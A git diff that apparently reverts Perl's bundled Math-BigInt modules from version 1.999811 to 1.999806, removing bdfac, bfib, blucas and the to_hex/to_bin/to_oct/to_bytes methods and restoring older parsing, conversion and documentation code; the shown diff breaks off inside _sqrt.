diff --git a/cpan/Math-BigInt/lib/Math/BigFloat.pm b/cpan/Math-BigInt/lib/Math/BigFloat.pm
index b716b88a348f..bcbb2bfd2be4 100644
--- a/cpan/Math-BigInt/lib/Math/BigFloat.pm
+++ b/cpan/Math-BigInt/lib/Math/BigFloat.pm
@@ -19,7 +19,7 @@ use warnings;
 use Carp ();
 use Math::BigInt ();
 
-our $VERSION = '1.999811';
+our $VERSION = '1.999806';
 
 require Exporter;
 our @ISA        = qw/Math::BigInt/;
@@ -529,7 +529,6 @@ sub from_hex {
 
     if ($str =~ s/
                      ^
-                     \s*
 
                      # sign
                      ( [+-]? )
@@ -556,7 +555,6 @@ sub from_hex {
                          ( \d+ (?: _ \d+ )* )
                      )?
 
-                     \s*
                      $
                  //x)
     {
@@ -620,7 +618,6 @@ sub from_oct {
 
     if ($str =~ s/
                      ^
-                     \s*
 
                      # sign
                      ( [+-]? )
@@ -644,7 +641,6 @@ sub from_oct {
                          ( \d+ (?: _ \d+ )* )
                      )?
 
-                     \s*
                      $
                  //x)
     {
@@ -708,7 +704,6 @@ sub from_bin {
 
     if ($str =~ s/
                      ^
-                     \s*
 
                      # sign
                      ( [+-]? )
@@ -735,7 +730,6 @@ sub from_bin {
                          ( \d+ (?: _ \d+ )* )
                      )?
 
-                     \s*
                      $
                  //x)
     {
@@ -2143,24 +2137,16 @@ sub bpow {
 }
 
 sub blog {
-    # Return the logarithm of the operand. If a second operand is defined, that
-    # value is used as the base, otherwise the base is assumed to be Euler's
-    # constant.
+    my ($class, $x, $base, $a, $p, $r) = ref($_[0]) ? (ref($_[0]), @_) : objectify(2, @_);
 
-    my ($class, $x, $base, $a, $p, $r);
-
-    # Don't objectify the base, since an undefined base, as in $x->blog() or
-    # $x->blog(undef) signals that the base is Euler's number.
-
-    if (!ref($_[0]) && $_[0] =~ /^[A-Za-z]|::/) {
-        # E.g., Math::BigFloat->blog(256, 2)
-        ($class, $x, $base, $a, $p, $r) =
-          defined $_[2] ? objectify(2, @_) : objectify(1, @_);
-    } else {
-        # E.g., Math::BigFloat::blog(256, 2) or $x->blog(2)
-        ($class, $x, $base, $a, $p, $r) =
-          defined $_[1] ? objectify(2, @_) : objectify(1, @_);
-    }
+    # If called as $x -> blog() or $x -> blog(undef), don't objectify the
+    # undefined base, since undef signals that the base is Euler's number.
+    #unless (ref($x) && !defined($base)) {
+    #    # objectify is costly, so avoid it
+    #    if ((!ref($_[0])) || (ref($_[0]) ne ref($_[1]))) {
+    #        ($class, $x, $base, $a, $p, $r) = objectify(2, @_);
+    #    }
+    #}
 
     return $x if $x->modify('blog');
 
@@ -3240,6 +3226,7 @@ sub bfac {
       if (($x->{sign} ne '+') || # inf, NaN, <0 etc => NaN
           ($x->{_es} ne '+'));   # digits after dot?
 
+    # use BigInt's bfac() for faster calc
     if (! $MBI->_is_zero($x->{_e})) {
         $x->{_m} = $MBI->_lsft($x->{_m}, $x->{_e}, 10); # change 12e1 to 120e0
         $x->{_e} = $MBI->_zero();           # normalize
@@ -3249,33 +3236,6 @@ sub bfac {
     $x->bnorm()->round(@r);     # norm again and round result
 }
 
-sub bdfac {
-    # compute double factorial
-
-    # set up parameters
-    my ($class, $x, @r) = (ref($_[0]), @_);
-    # objectify is costly, so avoid it
-    ($class, $x, @r) = objectify(1, @_) if !ref($x);
-
-    # inf => inf
-    return $x if $x->modify('bfac') || $x->{sign} eq '+inf';
-
-    return $x->bnan()
-      if (($x->{sign} ne '+') || # inf, NaN, <0 etc => NaN
-          ($x->{_es} ne '+'));   # digits after dot?
-
-    Carp::croak("bdfac() requires a newer version of the $MBI library.")
-        unless $MBI->can('_dfac');
-
-    if (! $MBI->_is_zero($x->{_e})) {
-        $x->{_m} = $MBI->_lsft($x->{_m}, $x->{_e}, 10); # change 12e1 to 120e0
-        $x->{_e} = $MBI->_zero();           # normalize
-        $x->{_es} = '+';
-    }
-    $x->{_m} = $MBI->_dfac($x->{_m});       # calculate factorial
-    $x->bnorm()->round(@r);     # norm again and round result
-}
-
 sub blsft {
     # shift left by $y (multiply by $b ** $y)
 
@@ -4039,63 +3999,8 @@ sub bestr {
     return $mant . 'e' . $esgn . $eabs;
 }
 
-sub to_hex {
-    # return number as hexadecimal string (only for integers defined)
-
-    my ($class, $x) = ref($_[0]) ? (ref($_[0]), $_[0]) : objectify(1, @_);
-
-    return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
-    return '0' if $x->is_zero();
-
-    return $nan if $x->{_es} ne '+';    # how to do 1e-1 in hex?
-
-    my $z = $MBI->_copy($x->{_m});
-    if (! $MBI->_is_zero($x->{_e})) {   # > 0
-        $z = $MBI->_lsft($z, $x->{_e}, 10);
-    }
-    my $str = $MBI->_to_hex($z);
-    return $x->{sign} eq '-' ? "-$str" : $str;
-}
-
-sub to_oct {
-    # return number as octal digit string (only for integers defined)
-
-    my ($class, $x) = ref($_[0]) ? (ref($_[0]), $_[0]) : objectify(1, @_);
-
-    return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
-    return '0' if $x->is_zero();
-
-    return $nan if $x->{_es} ne '+';    # how to do 1e-1 in octal?
-
-    my $z = $MBI->_copy($x->{_m});
-    if (! $MBI->_is_zero($x->{_e})) {   # > 0
-        $z = $MBI->_lsft($z, $x->{_e}, 10);
-    }
-    my $str = $MBI->_to_oct($z);
-    return $x->{sign} eq '-' ? "-$str" : $str;
-}
-
-sub to_bin {
-    # return number as binary digit string (only for integers defined)
-
-    my ($class, $x) = ref($_[0]) ? (ref($_[0]), $_[0]) : objectify(1, @_);
-
-    return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
-    return '0' if $x->is_zero();
-
-    return $nan if $x->{_es} ne '+';    # how to do 1e-1 in binary?
-
-    my $z = $MBI->_copy($x->{_m});
-    if (! $MBI->_is_zero($x->{_e})) {   # > 0
-        $z = $MBI->_lsft($z, $x->{_e}, 10);
-    }
-    my $str = $MBI->_to_bin($z);
-    return $x->{sign} eq '-' ? "-$str" : $str;
-}
-
 sub as_hex {
     # return number as hexadecimal string (only for integers defined)
-
     my ($class, $x) = ref($_[0]) ? (ref($_[0]), $_[0]) : objectify(1, @_);
 
     return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
@@ -4107,17 +4012,16 @@ sub as_hex {
     if (! $MBI->_is_zero($x->{_e})) {   # > 0
         $z = $MBI->_lsft($z, $x->{_e}, 10);
     }
-    my $str = $MBI->_as_hex($z);
-    return $x->{sign} eq '-' ? "-$str" : $str;
+    $z = Math::BigInt->new($x->{sign} . $MBI->_num($z));
+    $z->as_hex();
 }
 
 sub as_oct {
     # return number as octal digit string (only for integers defined)
-
     my ($class, $x) = ref($_[0]) ? (ref($_[0]), $_[0]) : objectify(1, @_);
 
     return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
-    return '00' if $x->is_zero();
+    return '0' if $x->is_zero();
 
     return $nan if $x->{_es} ne '+';    # how to do 1e-1 in octal?
 
@@ -4125,13 +4029,12 @@ sub as_oct {
     if (! $MBI->_is_zero($x->{_e})) {   # > 0
         $z = $MBI->_lsft($z, $x->{_e}, 10);
     }
-    my $str = $MBI->_as_oct($z);
-    return $x->{sign} eq '-' ? "-$str" : $str;
+    $z = Math::BigInt->new($x->{sign} . $MBI->_num($z));
+    $z->as_oct();
 }
 
 sub as_bin {
     # return number as binary digit string (only for integers defined)
-
     my ($class, $x) = ref($_[0]) ? (ref($_[0]), $_[0]) : objectify(1, @_);
 
     return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
@@ -4143,8 +4046,8 @@ sub as_bin {
     if (! $MBI->_is_zero($x->{_e})) {   # > 0
         $z = $MBI->_lsft($z, $x->{_e}, 10);
     }
-    my $str = $MBI->_as_bin($z);
-    return $x->{sign} eq '-' ? "-$str" : $str;
+    $z = Math::BigInt->new($x->{sign} . $MBI->_num($z));
+    $z->as_bin();
 }
 
 sub numify {
diff --git a/cpan/Math-BigInt/lib/Math/BigInt.pm b/cpan/Math-BigInt/lib/Math/BigInt.pm
index 9fd9bd02ba32..ed6e79fa1c73 100644
--- a/cpan/Math-BigInt/lib/Math/BigInt.pm
+++ b/cpan/Math-BigInt/lib/Math/BigInt.pm
@@ -20,7 +20,7 @@ use warnings;
 
 use Carp ();
 
-our $VERSION = '1.999811';
+our $VERSION = '1.999806';
 
 our @ISA = qw(Exporter);
 our @EXPORT_OK = qw(objectify bgcd blcm);
@@ -731,14 +731,12 @@ sub from_hex {
 
     if ($str =~ s/
                      ^
-                     \s*
                      ( [+-]? )
                      (0?x)?
                      (
                          [0-9a-fA-F]*
                          ( _ [0-9a-fA-F]+ )*
                      )
-                     \s*
                      $
                  //x)
     {
@@ -787,13 +785,11 @@ sub from_oct {
 
     if ($str =~ s/
                      ^
-                     \s*
                      ( [+-]? )
                      (
                          [0-7]*
                          ( _ [0-7]+ )*
                      )
-                     \s*
                      $
                  //x)
     {
@@ -842,14 +838,12 @@ sub from_bin {
 
     if ($str =~ s/
                      ^
-                     \s*
                      ( [+-]? )
                      (0?b)?
                      (
                          [01]*
                          ( _ [01]+ )*
                      )
-                     \s*
                      $
                  //x)
     {
@@ -890,9 +884,6 @@ sub from_bytes {
 
     return if $selfref && $self->modify('from_bytes');
 
-    Carp::croak("from_bytes() requires a newer version of the $CALC library.")
-        unless $CALC->can('_from_bytes');
-
     my $str = shift;
 
     # If called as a class method, initialize a new object.
@@ -2385,19 +2376,14 @@ sub blog {
     # value is used as the base, otherwise the base is assumed to be Euler's
     # constant.
 
-    my ($class, $x, $base, @r);
-
     # Don't objectify the base, since an undefined base, as in $x->blog() or
     # $x->blog(undef) signals that the base is Euler's number.
 
-    if (!ref($_[0]) && $_[0] =~ /^[A-Za-z]|::/) {
-        # E.g., Math::BigInt->blog(256, 2)
-        ($class, $x, $base, @r) =
-          defined $_[2] ? objectify(2, @_) : objectify(1, @_);
-    } else {
-        # E.g., Math::BigInt::blog(256, 2) or $x->blog(2)
-        ($class, $x, $base, @r) =
-          defined $_[1] ? objectify(2, @_) : objectify(1, @_);
+    # set up parameters
+    my ($class, $x, $base, @r) = (undef, @_);
+    # objectify is costly, so avoid it
+    if ((!ref($_[0])) || (ref($_[0]) ne ref($_[1]))) {
+        ($class, $x, $base, @r) = objectify(2, @_);
     }
 
     return $x if $x->modify('blog');
@@ -2722,132 +2708,6 @@ sub bfac {
     $x->round(@r);
 }
 
-sub bdfac {
-    # compute double factorial, modify $x in place
-    my ($class, $x, @r) = ref($_[0]) ? (undef, @_) : objectify(1, @_);
-
-    return $x if $x->modify('bdfac') || $x->{sign} eq '+inf'; # inf => inf
-    return $x->bnan() if $x->{sign} ne '+'; # NaN, <0 etc => NaN
-
-    Carp::croak("bdfac() requires a newer version of the $CALC library.")
-        unless $CALC->can('_dfac');
-
-    $x->{value} = $CALC->_dfac($x->{value});
-    $x->round(@r);
-}
-
-sub bfib {
-    # compute Fibonacci number(s)
-    my ($class, $x, @r) = objectify(1, @_);
-
-    Carp::croak("bfib() requires a newer version of the $CALC library.")
-        unless $CALC->can('_fib');
-
-    return $x if $x->modify('bfib');
-
-    # List context.
-
-    if (wantarray) {
-        return () if $x ->  is_nan();
-        Carp::croak("bfib() can't return an infinitely long list of numbers")
-            if $x -> is_inf();
-
-        # Use the backend library to compute the first $x Fibonacci numbers.
-
-        my @values = $CALC->_fib($x->{value});
-
-        # Make objects out of them. The last element in the array is the
-        # invocand.
-
-        for (my $i = 0 ; $i < $#values ; ++ $i) {
-            my $fib =  $class -> bzero();
-            $fib -> {value} = $values[$i];
-            $values[$i] = $fib;
-        }
-
-        $x -> {value} = $values[-1];
-        $values[-1] = $x;
-
-        # If negative, insert sign as appropriate.
-
-        if ($x -> is_neg()) {
-            for (my $i = 2 ; $i <= $#values ; $i += 2) {
-                $values[$i]{sign} = '-';
-            }
-        }
-
-        @values = map { $_ -> round(@r) } @values;
-        return @values;
-    }
-
-    # Scalar context.
-
-    else {
-        return $x if $x->modify('bdfac') || $x ->  is_inf('+');
-        return $x->bnan() if $x -> is_nan() || $x -> is_inf('-');
-
-        $x->{sign}  = $x -> is_neg() && $x -> is_even() ? '-' : '+';
-        $x->{value} = $CALC->_fib($x->{value});
-        return $x->round(@r);
-    }
-}
-
-sub blucas {
-    # compute Lucas number(s)
-    my ($class, $x, @r) = objectify(1, @_);
-
-    Carp::croak("blucas() requires a newer version of the $CALC library.")
-        unless $CALC->can('_lucas');
-
-    return $x if $x->modify('blucas');
-
-    # List context.
-
-    if (wantarray) {
-        return () if $x -> is_nan();
-        Carp::croak("blucas() can't return an infinitely long list of numbers")
-            if $x -> is_inf();
-
-        # Use the backend library to compute the first $x Lucas numbers.
-
-        my @values = $CALC->_lucas($x->{value});
-
-        # Make objects out of them. The last element in the array is the
-        # invocand.
-
-        for (my $i = 0 ; $i < $#values ; ++ $i) {
-            my $lucas =  $class -> bzero();
-            $lucas -> {value} = $values[$i];
-            $values[$i] = $lucas;
-        }
-
-        $x -> {value} = $values[-1];
-        $values[-1] = $x;
-
-        # If negative, insert sign as appropriate.
-
-        if ($x -> is_neg()) {
-            for (my $i = 2 ; $i <= $#values ; $i += 2) {
-                $values[$i]{sign} = '-';
-            }
-        }
-
-        @values = map { $_ -> round(@r) } @values;
-        return @values;
-    }
-
-    # Scalar context.
-
-    else {
-        return $x if $x ->  is_inf('+');
-        return $x->bnan() if $x -> is_nan() || $x -> is_inf('-');
-
-        $x->{sign}  = $x -> is_neg() && $x -> is_even() ? '-' : '+';
-        $x->{value} = $CALC->_lucas($x->{value});
-        return $x->round(@r);
-    }
-}
-
 sub blsft {
     # (BINT or num_str, BINT or num_str) return BINT
     # compute x << y, base n, y >= 0
@@ -3625,88 +3485,51 @@ sub bdstr {
     return $x->{sign} eq '-' ? "-$str" : $str;
 }
 
-sub to_hex {
+sub as_hex {
     # return as hex string, with prefixed 0x
     my $x = shift;
     $x = $class->new($x) if !ref($x);
 
     return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
 
-    my $hex = $CALC->_to_hex($x->{value});
-    return $x->{sign} eq '-' ? "-$hex" : $hex;
+    my $s = '';
+    $s = $x->{sign} if $x->{sign} eq '-';
+    $s . $CALC->_as_hex($x->{value});
 }
 
-sub to_oct {
+sub as_oct {
     # return as octal string, with prefixed 0
     my $x = shift;
     $x = $class->new($x) if !ref($x);
 
     return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
 
-    my $oct = $CALC->_to_oct($x->{value});
+    my $oct = $CALC->_as_oct($x->{value});
     return $x->{sign} eq '-' ? "-$oct" : $oct;
 }
 
-sub to_bin {
+sub as_bin {
     # return as binary string, with prefixed 0b
     my $x = shift;
     $x = $class->new($x) if !ref($x);
 
     return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
 
-    my $bin = $CALC->_to_bin($x->{value});
-    return $x->{sign} eq '-' ? "-$bin" : $bin;
+    my $s = '';
+    $s = $x->{sign} if $x->{sign} eq '-';
+    return $s . $CALC->_as_bin($x->{value});
 }
 
-sub to_bytes {
+sub as_bytes {
     # return a byte string
     my $x = shift;
     $x = $class->new($x) if !ref($x);
 
-    Carp::croak("to_bytes() requires a finite, non-negative integer")
+    Carp::croak("as_bytes() requires a finite, non-negative integer")
         if $x -> is_neg() || ! $x -> is_int();
-
-    Carp::croak("to_bytes() requires a newer version of the $CALC library.")
-        unless $CALC->can('_to_bytes');
-
-    return $CALC->_to_bytes($x->{value});
-}
-
-sub as_hex {
-    # return as hex string, with prefixed 0x
-    my $x = shift;
-    $x = $class->new($x) if !ref($x);
-
-    return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
-
-    my $hex = $CALC->_as_hex($x->{value});
-    return $x->{sign} eq '-' ? "-$hex" : $hex;
-}
-
-sub as_oct {
-    # return as octal string, with prefixed 0
-    my $x = shift;
-    $x = $class->new($x) if !ref($x);
-
-    return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
-
-    my $oct = $CALC->_as_oct($x->{value});
-    return $x->{sign} eq '-' ? "-$oct" : $oct;
+    return $CALC->_as_bytes($x->{value});
 }
 
-sub as_bin {
-    # return as binary string, with prefixed 0b
-    my $x = shift;
-    $x = $class->new($x) if !ref($x);
-
-    return $x->bstr() if $x->{sign} !~ /^[+-]$/; # inf, nan etc
-
-    my $bin = $CALC->_as_bin($x->{value});
-    return $x->{sign} eq '-' ? "-$bin" : $bin;
-}
-
-*as_bytes = \&to_bytes;
-
 ###############################################################################
 # Other conversion methods
 ###############################################################################
@@ -3755,8 +3578,7 @@ sub objectify {
     # Class->badd(Class->(1), 2);  => classname x (scalar), ref x, scalar y
     # Math::BigInt::badd(1, 2);    => scalar x, scalar y
 
-    # A shortcut for the common case $x->unary_op(), in which case the argument
-    # list is (0, $x) or (1, $x).
+    # A shortcut for the common case $x->unary_op():
 
     return (ref($_[1]), $_[1]) if @_ == 2 && ($_[0] || 0) == 1 && ref($_[1]);
 
@@ -3769,6 +3591,7 @@ sub objectify {
     # Get the number of arguments to objectify.
 
     my $count = shift;
+    $count ||= @_;
 
     # Initialize the output array.
 
@@ -3778,18 +3601,17 @@ sub objectify {
     # class name. Otherwise, if the first argument looks like a class name,
     # then use that as our class name. Otherwise, use the default class name.
 
-    my $class;
-    if (ref($a[0])) {                   # reference?
-        $class = ref($a[0]);
-    } elsif ($a[0] =~ /^[A-Z].*::/) {   # string with class name?
-        $class = shift @a;
-    } else {
-        $class = __PACKAGE__;           # default class name
+    {
+        if (ref($a[0])) {               # reference?
+            unshift @a, ref($a[0]);
+            last;
+        }
+        if ($a[0] =~ /^[A-Z].*::/) {    # string with class name?
+            last;
+        }
+        unshift @a, $class;             # default class name
     }
 
-    $count ||= @a;
-    unshift @a, $class;
-
     no strict 'refs';
 
     # What we upgrade to, if anything.
@@ -3807,6 +3629,12 @@ sub objectify {
 
     for my $i (1 .. $count) {
 
+        # Don't do anything with undefs. This special treatment is necessary
+        # because blog() might have a second operand which is undef, to signify
+        # that the default Euler base should be used.
+
+        next unless defined $a[$i];
+
         my $ref = ref $a[$i];
 
         # Perl scalars are fed to the appropriate constructor.
@@ -4440,15 +4268,10 @@ Math::BigInt - Arbitrary size integer/float math package
   $x->bnstr();        # string in normalized notation
   $x->bestr();        # string in engineering notation
   $x->bdstr();        # string in decimal notation
-
-  $x->to_hex();       # as signed hexadecimal string
-  $x->to_bin();       # as signed binary string
-  $x->to_oct();       # as signed octal string
-  $x->to_bytes();     # as byte string
-
   $x->as_hex();       # as signed hexadecimal string with prefixed 0x
   $x->as_bin();       # as signed binary string with prefixed 0b
   $x->as_oct();       # as signed octal string with prefixed 0
+  $x->as_bytes();     # as byte string
 
   # Other conversion methods
 
@@ -5280,86 +5103,6 @@ Calculates the N'th root of C<$x>.
 
     $x->bfac();                 # factorial of $x (1*2*3*4*..*$x)
 
-Returns the factorial of C<$x>, i.e., the product of all positive integers up
-to and including C<$x>.
-
-=item bdfac()
-
-    $x->bdfac();                # double factorial of $x (1*2*3*4*..*$x)
-
-Returns the double factorial of C<$x>. If C<$x> is an even integer, returns the
-product of all positive, even integers up to and including C<$x>, i.e.,
-2*4*6*...*$x. If C<$x> is an odd integer, returns the product of all positive,
-odd integers, i.e., 1*3*5*...*$x.
-
-=item bfib()
-
-    $F = $n->bfib();            # a single Fibonacci number
-    @F = $n->bfib();            # a list of Fibonacci numbers
-
-In scalar context, returns a single Fibonacci number. In list context, returns
-a list of Fibonacci numbers. The invocand is the last element in the output.
-
-The Fibonacci sequence is defined by
-
-    F(0) = 0
-    F(1) = 1
-    F(n) = F(n-1) + F(n-2)
-
-In list context, F(0) and F(n) is the first and last number in the output,
-respectively. For example, if $n is 12, then C<< @F = $n->bfib() >> returns the
-following values, F(0) to F(12):
-
-    0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144
-
-The sequence can also be extended to negative index n using the re-arranged
-recurrence relation
-
-    F(n-2) = F(n) - F(n-1)
-
-giving the bidirectional sequence
-
-       n  -7  -6  -5  -4  -3  -2  -1   0   1   2   3   4   5   6   7
-    F(n)  13  -8   5  -3   2  -1   1   0   1   1   2   3   5   8  13
-
-If $n is -12, the following values, F(0) to F(12), are returned:
-
-    0, 1, -1, 2, -3, 5, -8, 13, -21, 34, -55, 89, -144
-
-=item blucas()
-
-    $F = $n->blucas();          # a single Lucas number
-    @F = $n->blucas();          # a list of Lucas numbers
-
-In scalar context, returns a single Lucas number. In list context, returns a
-list of Lucas numbers. The invocand is the last element in the output.
-
-The Lucas sequence is defined by
-
-    L(0) = 2
-    L(1) = 1
-    L(n) = L(n-1) + L(n-2)
-
-In list context, L(0) and L(n) is the first and last number in the output,
-respectively. For example, if $n is 12, then C<< @L = $n->blucas() >> returns
-the following values, L(0) to L(12):
-
-    2, 1, 3, 4, 7, 11, 18, 29, 47, 76, 123, 199, 322
-
-The sequence can also be extended to negative index n using the re-arranged
-recurrence relation
-
-    L(n-2) = L(n) - L(n-1)
-
-giving the bidirectional sequence
-
-       n  -7  -6  -5  -4  -3  -2  -1   0   1   2   3   4   5   6   7
-    L(n)  29 -18  11  -7   4  -3   1   2   1   3   4   7  11  18  29
-
-If $n is -12, the following values, L(0) to L(-12), are returned:
-
-    2, 1, -3, 4, -7, 11, -18, 29, -47, 76, -123, 199, -322
-
 =item brsft()
 
     $x->brsft($n);              # right shift $n places in base 2
@@ -5635,53 +5378,34 @@ corresponds to the output from C.
     12000 is returned as "12000"
     10000 is returned as "10000"
 
-=item to_hex()
-
-    $x->to_hex();
-
-Returns a hexadecimal string representation of the number.
-
-=item to_bin()
-
-    $x->to_bin();
-
-Returns a binary string representation of the number.
-
-=item to_oct()
-
-    $x->to_oct();
-
-Returns an octal string representation of the number.
-
-=item to_bytes()
-
-    $x = Math::BigInt->new("1667327589");
-    $s = $x->to_bytes();                    # $s = "cafe"
-
-Returns a byte string representation of the number using big endian byte
-order. The invocand must be a non-negative, finite integer.
-
 =item as_hex()
 
     $x->as_hex();
 
-As, C, but with a "0x" prefix.
+Returns a string representing the number using hexadecimal notation. The output
+is prefixed by "0x".
 
 =item as_bin()
 
     $x->as_bin();
 
-As, C, but with a "0b" prefix.
+Returns a string representing the number using binary notation. The output is
+prefixed by "0b".
 
 =item as_oct()
 
     $x->as_oct();
 
-As, C, but with a "0" prefix.
+Returns a string representing the number using octal notation. The output is
+prefixed by "0".
 
 =item as_bytes()
 
-This is just an alias for C.
+    $x = Math::BigInt->new("1667327589");
+    $s = $x->as_bytes();                    # $s = "cafe"
+
+Returns a byte string representing the number using big endian byte order. The
+invocand must be a non-negative, finite integer.
 
 =back
 
diff --git a/cpan/Math-BigInt/lib/Math/BigInt/Calc.pm b/cpan/Math-BigInt/lib/Math/BigInt/Calc.pm
index 571006963f08..5717e764e10f 100644
--- a/cpan/Math-BigInt/lib/Math/BigInt/Calc.pm
+++ b/cpan/Math-BigInt/lib/Math/BigInt/Calc.pm
@@ -7,7 +7,7 @@ use warnings;
 use Carp;
 use Math::BigInt::Lib;
 
-our $VERSION = '1.999811';
+our $VERSION = '1.999806';
 
 our @ISA = ('Math::BigInt::Lib');
 
@@ -1889,7 +1889,7 @@ sub _sqrt {
 }
 
 sub _root {
-    # Take n'th root of $x in place.
+    # Take n'th root of $x in place (n >= 2)
 
     my ($c, $x, $n) = @_;
 
@@ -1915,8 +1915,8 @@ sub _root {
         return $x;
     }
 
-    # If $n is a power of two, take sqrt($x) repeatedly, e.g., root($x, 4) =
-    # sqrt(sqrt($x)), root($x, 8) = sqrt(sqrt(sqrt($x))).
+    # If $n is a power of two, we take sqrt($x) repeatedly and find the proper
+    # result, because, e.g., sqrt(sqrt($x)) == root($x, 4)
 
     my $b = $c -> _as_bin($n);
     if ($b =~ /0b1(0+)$/) {
@@ -2485,8 +2485,13 @@ sub _gcd {
     return $x;
 }
 
+##############################################################################
+##############################################################################
+
 1;
 
+__END__
+
 =pod
 
 =head1 NAME
diff --git a/cpan/Math-BigInt/lib/Math/BigInt/CalcEmu.pm b/cpan/Math-BigInt/lib/Math/BigInt/CalcEmu.pm
index 69c02caffef1..572f9de52fdd 100644
--- a/cpan/Math-BigInt/lib/Math/BigInt/CalcEmu.pm
+++ b/cpan/Math-BigInt/lib/Math/BigInt/CalcEmu.pm
@@ -4,7 +4,7 @@ use 5.006001;
 use strict;
 use warnings;
 
-our $VERSION = '1.999811';
+our $VERSION = '1.999806';
 
 package Math::BigInt;
 
diff --git a/cpan/Math-BigInt/lib/Math/BigInt/Lib.pm b/cpan/Math-BigInt/lib/Math/BigInt/Lib.pm
index 23a44aa95590..dea1b0c0a381 100644
--- a/cpan/Math-BigInt/lib/Math/BigInt/Lib.pm
+++ b/cpan/Math-BigInt/lib/Math/BigInt/Lib.pm
@@ -4,7 +4,7 @@ use 5.006001;
 use strict;
 use warnings;
 
-our $VERSION = '1.999811';
+our $VERSION = '1.999806';
 
 use Carp;
 
@@ -237,7 +237,7 @@ use overload
                 return $class -> _sqrt($class -> _copy($_[0]));
             },
 
-  'int'  => sub { $_[0] },
+  'int'  => sub { $_[0] -> copy() -> bint(); },
 
   # overload key: conversion
 
@@ -389,7 +389,8 @@ sub _digit {
 sub _zeros {
     my ($class, $x) = @_;
     my $str = $class -> _str($x);
-    $str =~ /[^0](0*)\z/ ? CORE::length($1) : 0;
+    $str =~ /[^0](0*)\z/;
+    CORE::length($1);
 }
 
 ##############################################################################
@@ -451,17 +452,12 @@ sub _mod {
     croak "@{[(caller 0)[3]]} requires non-zero second operand"
       if $class -> _is_zero($y);
 
-    if ($class -> can('_div')) {
-        $x = $class -> _copy($x);
-        my ($q, $r) = $class -> _div($x, $y);
-        return $r;
-    } else {
-        my $r = $class -> _copy($x);
-        while ($class -> _acmp($r, $y) >= 0) {
-            $r = $class -> _sub($r, $y);
-        }
-        return $r;
+    my $r = $class -> _copy($x);
+    while ($class -> _acmp($r, $y) >= 0) {
+        $r = $class -> _sub($r, $y);
     }
+
+    return $r;
 }
 
 ##############################################################################
@@ -481,6 +477,7 @@ sub _lsft {
 
 sub _pow {
     # power of $x to $y
+    # ref to array, ref to array, return ref to array
     my ($class, $x, $y) = @_;
 
     if ($class -> _is_zero($y)) {
@@ -514,6 +511,9 @@ sub _pow {
 
 sub _nok {
     # Return binomial coefficient (n over k).
+    # Given refs to arrays, return ref to array.
+    # First input argument is modified.
+
     my ($class, $n, $k) = @_;
 
     # If k > n/2, or, equivalently, 2*k > n, compute nok(n, k) as
@@ -528,19 +528,15 @@ sub _nok {
 
     # Example:
     #
-    # / 7 \       7!       1*2*3*4 * 5*6*7   5 * 6 * 7
-    # |   | = --------- =  --------------- = --------- = ((5 * 6) / 2 * 7) / 3
-    # \ 3 /   (7-3)! 3!    1*2*3*4 * 1*2*3   1 * 2 * 3
-    #
-    # Equivalently, _nok(11, 5) is computed as
-    #
-    # (((((((7 * 8) / 2) * 9) / 3) * 10) / 4) * 11) / 5
+    # / 7 \       7!       1*2*3*4 * 5*6*7   5 * 6 * 7       6   7
+    # |   | = --------- =  --------------- = --------- = 5 * - * -
+    # \ 3 /   (7-3)! 3!    1*2*3*4 * 1*2*3   1 * 2 * 3       2   3
 
     if ($class -> _is_zero($k)) {
         return $class -> _one();
     }
 
-    # Make a copy of the original n, in case the subclass modifies n in-place.
+    # Make a copy of the original n, since we'll be modifying n in-place.
 
     my $n_orig = $class -> _copy($n);
 
@@ -550,15 +546,21 @@ sub _nok {
     $n = $class -> _inc($n);
 
     my $f = $class -> _copy($n);
-    $f = $class -> _inc($f);
+    $class -> _inc($f);
 
     my $d = $class -> _two();
 
     # while f <= n (the original n, that is) ...
 
     while ($class -> _acmp($f, $n_orig) <= 0) {
+
+        # n = (n * f / d) == 5 * 6 / 2 (cf. example above)
+
         $n = $class -> _mul($n, $f);
         $n = $class -> _div($n, $d);
+
+        # f = 7, d = 3 (cf. example above)
+
         $f = $class -> _inc($f);
         $d = $class -> _inc($d);
     }
@@ -585,29 +587,10 @@ sub _fac {
     return $x;
 }
 
-sub _dfac {
-    # double factorial
-    my ($class, $x) = @_;
-
-    my $two = $class -> _two();
-
-    if ($class -> _acmp($x, $two) < 0) {
-        return $class -> _one();
-    }
-
-    my $i = $class -> _copy($x);
-    while ($class -> _acmp($i, $two) > 0) {
-        $i = $class -> _sub($i, $two);
-        $x = $class -> _mul($x, $i);
-    }
-
-    return $x;
-}
-
 sub _log_int {
-    # calculate integer log of $x to base $base
     # calculate integer log of $x to base $base
     # ref to array, ref to array - return ref to array
+
     my ($class, $x, $base) = @_;
 
     # X == 0 => NaN
@@ -681,303 +664,177 @@ sub _log_int {
 }
 
 sub _sqrt {
-    # square-root of $y in place
-    my ($class, $y) = @_;
+    # square-root of $x in place
+    my ($class, $x) = @_;
 
-    return $y if $class -> _is_zero($y);
+    return $x if $class -> _is_zero($x);
 
-    my $y_str = $class -> _str($y);
-    my $y_len = length($y_str);
+    my $x_str = $class -> _str($x);
+    my $x_len = length($x_str);
 
-    # Compute the guess $x.
+    # Compute the guess $y.
 
-    my $xm;
-    my $xe;
-    if ($y_len % 2 == 0) {
-        $xm = sqrt("." . $y_str);
-        $xe = $y_len / 2;
-        $xm = sprintf "%.0f", int($xm * 1e15);
-        $xe -= 15;
+    my $ym;
+    my $ye;
+    if ($x_len % 2 == 0) {
+        $ym = sqrt("." . $x_str);
+        $ye = $x_len / 2;
+        $ym = sprintf "%.0f", int($ym * 1e15);
+        $ye -= 15;
     } else {
-        $xm = sqrt(".0" . $y_str);
-        $xe = ($y_len + 1) / 2;
-        $xm = sprintf "%.0f", int($xm * 1e16);
-        $xe -= 16;
+        $ym = sqrt(".0" . $x_str);
